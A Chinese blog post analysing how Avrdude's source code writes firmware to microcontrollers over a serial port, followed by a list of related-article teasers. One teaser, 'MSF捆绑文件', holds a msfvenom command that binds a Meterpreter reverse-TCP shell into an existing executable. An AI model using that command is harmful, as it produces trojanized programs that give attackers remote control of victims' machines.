程序传入单片机的过程,以Avrdude为例分析

news/2024/10/6 16:26:51 标签: 单片机, 嵌入式硬件, c语言, linux, bash

在市场上有各式各样的单片机,例如Arduino,51单片机,STM等。通常,我们都用其对应的IDE软件进行单片机的编程。这些软件既负责将程序代码转写成二进制代码,即机器语言,也负责将该二进制代码导入单片机。与此同时,有一个开源软件,叫做Avrdude,可以将二进制代码程序写入各个品牌的单片机中。该项目在Github上,支持Windows、MacOS、以及以Linux为内核的系统[1]。这是由于许多单片机的公司的产品是开源的,也就是说将二进制程序代码写入单片机的报文是公开的,所以有这样的电子工程师将这些写入的报文做成程序供大家使用。

本文通过分析Avrdude的源代码,大致了解一下二进制程序代码写入单片机的过程,即报文格式,帮助读者进一步了解单片机的工作原理。通过了解这些内容,有助于开发第三方软件进行单片机的编程。开发第三方软件的意义有,例如,有的人认为现有的单片机IDE程序太复杂,想设计一个简单的,易用的版本,只包含基本功能即可;另外,也可以将单片机的IDE程序移植到其它的平台,如鸿蒙,安卓,甚至一些小众的操作系统和平台上。

一、Avrdude的基本操作

Avrdude可以作为Linux的控制台程序,其运行的命令形式大致为[1]:

bash">avrdude -c <programmer> -p <part> -U flash:w:<file>:i

如:

bash">avrdude -c arduino -P COM1 -b 115200 -p atmega328p -D -U flash:w:objs/blink.hex:i

详细说明见[2]。简单地说,-c 后面跟单片机的类型,-P后面跟传输的串口号,-b后面跟波特率,-p后面跟具体的型号,-U后面跟需要写入的单片机内存、是写还是读、二进制代码文件、格式。

从该句的大意可以看出,把程序写入单片机的过程,本质上说是把二进制程序代码写入单片机的某个内存中。这个内存通常是flash或eeprom。关于flash和eeprom的区别,见[3]。

二、源程序的分析

注:该源代码包里包含多个文件,经常出现一个函数或常量的定义在另一个文件中的现象。所以为了分析方便,强烈建议用支持在文件夹里从多个文件中搜索关键词的功能,且支持多视图的软件。例如NotePad++[5] [6]。若要用iPad阅读代码,推荐Code App[7]。注意要在设置里打开以下选项,启用多视图功能。

一个用C语言写的程序,运行时,通常从main函数开始。而通过命令行运行程序时,输入的程序名以及参数,会被传递到main函数的参数中。具体的说明,见[4]。

所以,在这里,main函数在src目录下的main.c中

当通过命令行运行avrdude时,"avrdude","-c","arduino"等字符串都会传递到argv中。

这里观察一下main函数中处理这些参数的方式。

这里,重点研究-U后面的参数,即写入的单片机内存和二进制代码文件。从程序中可看出,这些参数都被赋给了upd指向的对象的属性中。

通过阅读代码,可知写入芯片的过程是由do_op函数进行的。经搜索,这个函数的定义在update.c中。

这里,upd->op应该是DEVICE_WRITE,即把文件里的内容写入单片机的内存。

这里涉及到两个重要步骤:第一个,是把文件的二进制代码提取到程序中,由函数update_all_from_file进行;第二个,是把二进制代码写入单片机的内存中,由函数update_avr_write进行。

下面分析这两个函数:

1. update_all_from_file

最终,在fileio_rbin中,mem被更新了。

这里,mem->buf被填充了文件里读出的二进制代码。因此,mem就携带了要上传给单片机的程序。

2. update_avr_write

avr_write_mem用于将报文传入单片机

观察avr_write_byte函数

该函数用于将字节写入单片机的指定内存,即地址。其具体实现方式,不同的单片机会有不同,这里以其中一款为例。

这里,cmd[0]代表地址,cmd[1]代表输入的字节。

serial_send函数,即通过串口把内容从电脑上传至单片机的函数,实现方式和操作系统有关。目前,windows系统和POSIX即Unix内核的系统的串口实现方式在该代码包中已实现。HarmonyOS NEXT系统将使用鸿蒙自己的内核[7],可能和windows及Unix均不同,所以如要把该程序移植到鸿蒙星河版上,这一部分的实现可能需要重新编写。

三、其它方面的研究

用这样的分析方法,可以研究不同的单片机的各内存的地址,以及从单片机中读取内容的过程等。

链接

[1]https://github.com/avrdudes/avrdude/tree/main

[2]AVRDUDE: 2.1 Option Descriptions

[3]嵌入式开发——EEPROM和FLASH的区别和优劣势-CSDN博客

[4]【Linux】命令行参数_命令行参数的使用linux-CSDN博客

[5]notepad++ 根据文件内容查找文件_notpad++ 查找 文件小于100k-CSDN博客

[6]Notepad++使用教程_nodepad++-CSDN博客

[7]华为鸿蒙内核成为 HarmonyOS NEXT 流畅安全新基座 - IT之家


http://www.niftyadmin.cn/n/5691867.html

相关文章

使用rust写一个Web服务器——单线程版本

文章目录 监听TCP连接读取HTTP Reqeust返回HTTP Response返回HTML页面验证Request和选择性Response 使用rust编写一个基于HTTP协议的Web服务器。HTTP是更高层的通信协议&#xff0c;一般来说都基于TCP来构建的&#xff0c;除了HTTP/3&#xff0c;后者是基于UDP构建的协议 仓库…

定时器实验(Proteus 与Keil uVision联合仿真)

一、 &#xff08;1&#xff09;设置TMOD寄存器 T0工作在方式1&#xff0c;应使TMOD寄存器的M1、M001&#xff1b;应设置C/T*0&#xff0c;为定时器模式&#xff1b;对T0的运行控制仅由TR0来控制&#xff0c;应使相应的GATE位为0。定时器T1不使用&#xff0c;各相关位均设为…

固态硬盘数据丢失?别急,这4款恢复神器帮你找回“丢失的记忆”!

数据啊&#xff0c;对咱工作和生活那可老重要了。不过呢&#xff0c;固态硬盘里的数据说不定啥时候就因为不小心误操作啦&#xff0c;或者被病毒攻击啦&#xff0c;再或者硬件出毛病就丢了&#xff0c;这可真让人上火。还好哈&#xff0c;市场上有不少专门的数据恢复软件呢&…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

OpenCV-背景建模

文章目录 一、背景建模的目的二、背景建模的方法及原理三、背景建模实现四、总结 OpenCV中的背景建模是一种在计算机视觉中从视频序列中提取出静态背景的技术。以下是对OpenCV背景建模的详细解释&#xff1a; 一、背景建模的目的 背景建模的主要目标是将动态的前景对象与静态的…

RAG:检索增强生成技术概览

Why 将大模型应用于实际业务场景时会发现&#xff0c;通用的基础大模型基本无法满足我们的实际业务需求&#xff0c;主要有以下几方面原因&#xff1a; 知识的局限性&#xff1a;大模型对于一些实时性的、非公开的或离线的数据是无法获取到的。幻觉问题&#xff1a;所有的AI模…

LeetCode 151 Reverse Words in a String 解题思路和python代码

题目&#xff1a; Given an input string s, reverse the order of the words. A word is defined as a sequence of non-space characters. The words in s will be separated by at least one space. Return a string of the words in reverse order concatenated by a sin…

React基础-快速梳理

React介绍 React由Meta公司开发&#xff0c;是一个用于构建Web和原生交互界面的库 React的优势 相较于传统基于DOM开发的优势 组件化的开发方式不错的性能 相较于其它前端框架的优势 丰富的生态跨平台支持 开发环境创建 create-react-app是一个快速创建React开发环境的…